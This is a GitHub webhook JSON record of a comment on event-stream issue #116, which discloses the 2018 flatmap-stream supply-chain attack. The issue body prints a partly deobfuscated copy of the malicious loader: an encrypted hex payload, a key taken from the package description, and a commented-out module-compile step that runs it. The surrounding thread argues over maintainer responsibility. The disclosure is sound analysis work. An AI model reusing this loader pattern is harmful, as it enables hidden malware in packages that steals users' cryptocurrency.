{"action":"created","issue":{"url":"https://api.github.com/repos/dominictarr/event-stream/issues/116","repository_url":"https://api.github.com/repos/dominictarr/event-stream","labels_url":"https://api.github.com/repos/dominictarr/event-stream/issues/116/labels{/name}","comments_url":"https://api.github.com/repos/dominictarr/event-stream/issues/116/comments","events_url":"https://api.github.com/repos/dominictarr/event-stream/issues/116/events","html_url":"https://github.com/dominictarr/event-stream/issues/116","id":382854428,"node_id":"MDU6SXNzdWUzODI4NTQ0Mjg=","number":116,"title":"I don't know what to say.","user":{"login":"FallingSnow","id":2512197,"node_id":"MDQ6VXNlcjI1MTIxOTc=","avatar_url":"https://avatars0.githubusercontent.com/u/2512197?v=4","gravatar_id":"","url":"https://api.github.com/users/FallingSnow","html_url":"https://github.com/FallingSnow","followers_url":"https://api.github.com/users/FallingSnow/followers","following_url":"https://api.github.com/users/FallingSnow/following{/other_user}","gists_url":"https://api.github.com/users/FallingSnow/gists{/gist_id}","starred_url":"https://api.github.com/users/FallingSnow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FallingSnow/subscriptions","organizations_url":"https://api.github.com/users/FallingSnow/orgs","repos_url":"https://api.github.com/users/FallingSnow/repos","events_url":"https://api.github.com/users/FallingSnow/events{/privacy}","received_events_url":"https://api.github.com/users/FallingSnow/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":602,"created_at":"2018-11-20T21:26:01Z","updated_at":"2018-11-27T18:17:44Z","closed_at":"2018-11-26T20:22:32Z","author_association":"NONE","body":"**EDIT 26/11/2018**:\r\n* **Am I affected?**:\r\n   If you are using anything crypto-currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to be copay at this point). If you are using a crypto-currency related library and if you see `flatmap-stream@0.1.1` after running `npm ls event-stream flatmap-stream`, you are most likely affected. For example:\r\n    ```\r\n    $ npm ls event-stream flatmap-stream\r\n    ...\r\n    flatmap-stream@0.1.1\r\n    ...\r\n    ```\r\n\r\n* **What does it do**:\r\n    Other users have done some good analysis of what these payloads actually do.\r\n    * https://github.com/dominictarr/event-stream/issues/116#issuecomment-441759047\r\n    * https://github.com/dominictarr/event-stream/issues/116#issuecomment-441746370\r\n    * https://github.com/dominictarr/event-stream/issues/116#issuecomment-441749105\r\n\r\n* **What can I do**:\r\n    By this time fixes are being deployed and npm has yanked the malicious version. Ensure that the developer(s) of the package you are using are aware of this post. If you are a developer update your event-stream dependency to `event-stream@3.3.4`. **This protects people with cached versions of event-stream**.\r\n___\r\n\r\n@dominictarr Why was @right9ctrl given access to this repo? He added [flatmap-stream](https://github.com/hugeglass/flatmap-stream) which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting [ps-tree](https://github.com/indexzero/ps-tree). After he adds it at almost the exact same time the injection is added to `flatmap-stream`, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having `flatmap-stream` but still have everyone (millions of weekly installs) using 3.x affected.\r\n\r\n@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank `event-stream@3.3.6` from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which `flatmap-stream@0.1.1` was published I wouldn't be asking you questions.\r\n\r\nI've included a break down of what I have so far on `flatmap-stream` below. It includes the portion of code not found in the **unminified** source of `flatmap-stream@0.1.1` but found in the **minified** source. The code has been cleaned up a little to get a better understanding.\r\n\r\nThe worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.\r\n\r\n```js\r\n// var r = require, t = process;\r\n\r\n// function e(r) {\r\n//     return Buffer.from(r, \"hex\").toString()\r\n// }\r\nfunction decode(data) {\r\n    return Buffer.from(data, \"hex\").toString()\r\n}\r\n\r\n// var n = r(e(\"2e2f746573742f64617461\")),\r\n// var n = require(decode(\"2e2f746573742f64617461\"))\r\n// var n = require('./test/data')\r\nvar n = [\"75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629\",\"db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1\",\"63727970746f\",\"656e76\",\"6e706d5f7061636b6167655f6465736372697074696f6e\",\"616573323536\",\"6372656174654465636970686572\",\"5f636f6d70696c65\",\"686578\",\"75746638\"]\r\n    // o = t[e(n[3])][e(n[4])];\r\n    // npm_package_description = process[decode(n[3])][decode(n[4])];\r\n    // npm_package_description = process['env']['npm_package_description'];\r\n    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)\r\n\r\n// if (!o) return;\r\nif (!npm_package_description) return;\r\n\r\n// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),\r\n// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),\r\nvar decipher = require('crypto')['createDecipher']('aes256', npm_package_description),\r\n\r\n    // a = u.update(n[0], e(n[8]), e(n[9]));\r\n    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));\r\n    decoded = decipher.update(n[0], 'hex', 'utf8');\r\n\r\nconsole.log(n); // IDK why this is here...\r\n\r\n// a += u.final(e(n[9]));\r\ndecoded += decipher.final('utf8');\r\n\r\n// var f = new module.constructor;\r\nvar newModule = new module.constructor;\r\n\r\n/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/\r\n// f.paths = module.paths, f[e(n[7])](a, \"\"), f.exports(n[1])\r\n// newModule.paths = module.paths, newModule['_compile'](decoded, \"\"), newModule.exports(n[1])\r\n// newModule.paths = module.paths\r\n// newModule['_compile'](decoded, \"\") // Module.prototype._compile = function(content, filename)\r\n// newModule.exports(n[1])\r\n```"},"comment":{"url":"https://api.github.com/repos/dominictarr/event-stream/issues/comments/442162506","html_url":"https://github.com/dominictarr/event-stream/issues/116#issuecomment-442162506","issue_url":"https://api.github.com/repos/dominictarr/event-stream/issues/116","id":442162506,"node_id":"MDEyOklzc3VlQ29tbWVudDQ0MjE2MjUwNg==","user":{"login":"bomb-on","id":1420287,"node_id":"MDQ6VXNlcjE0MjAyODc=","avatar_url":"https://avatars3.githubusercontent.com/u/1420287?v=4","gravatar_id":"","url":"https://api.github.com/users/bomb-on","html_url":"https://github.com/bomb-on","followers_url":"https://api.github.com/users/bomb-on/followers","following_url":"https://api.github.com/users/bomb-on/following{/other_user}","gists_url":"https://api.github.com/users/bomb-on/gists{/gist_id}","starred_url":"https://api.github.com/users/bomb-on/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bomb-on/subscriptions","organizations_url":"https://api.github.com/users/bomb-on/orgs","repos_url":"https://api.github.com/users/bomb-on/repos","events_url":"https://api.github.com/users/bomb-on/events{/privacy}","received_events_url":"https://api.github.com/users/bomb-on/received_events","type":"User","site_admin":false},"created_at":"2018-11-27T18:17:44Z","updated_at":"2018-11-27T18:17:44Z","author_association":"NONE","body":"> > package ownership is handed over to some random dude\r\n> \r\n> We're all random dudes my dude. Stop trying to shift blame here.\r\n\r\nYou missed the point here because I didn't try to _shift_ the blame... Completely agree with @mscarborough-lampdev here:\r\n\r\n> Regarding @dominictarr ... the idea that he only deserves praise seems silly. Just as he deserves credit for the useful work he did, he similarly deserves criticism for his role in spreading malware. Dominic is not solely responsible for the failure here, but he certainly deserves blame for a very large portion of the problem.\r\n\r\n> For any maintainer who knows their package is a widespread dependency, Dominic's level of apathy about irresponsibly turning over control to a complete stranger so easily CANNOT be encouraged.\r\n\r\n> Yes, every dev using NPM knows this has always been a risk, so we should all take a hard look in the mirror but if maintainers of popular packages bear no responsibility to be security-vigilant, then the ecosystem will just have to die.\r\n\r\nAnd to be clear, no one is trying to \"bring him down\" as some people stated, but this could be avoided in so many ways if the original maintainer understood the responsibility behind his actions."}}
{"actor":{"display_login":"bomb-on"}}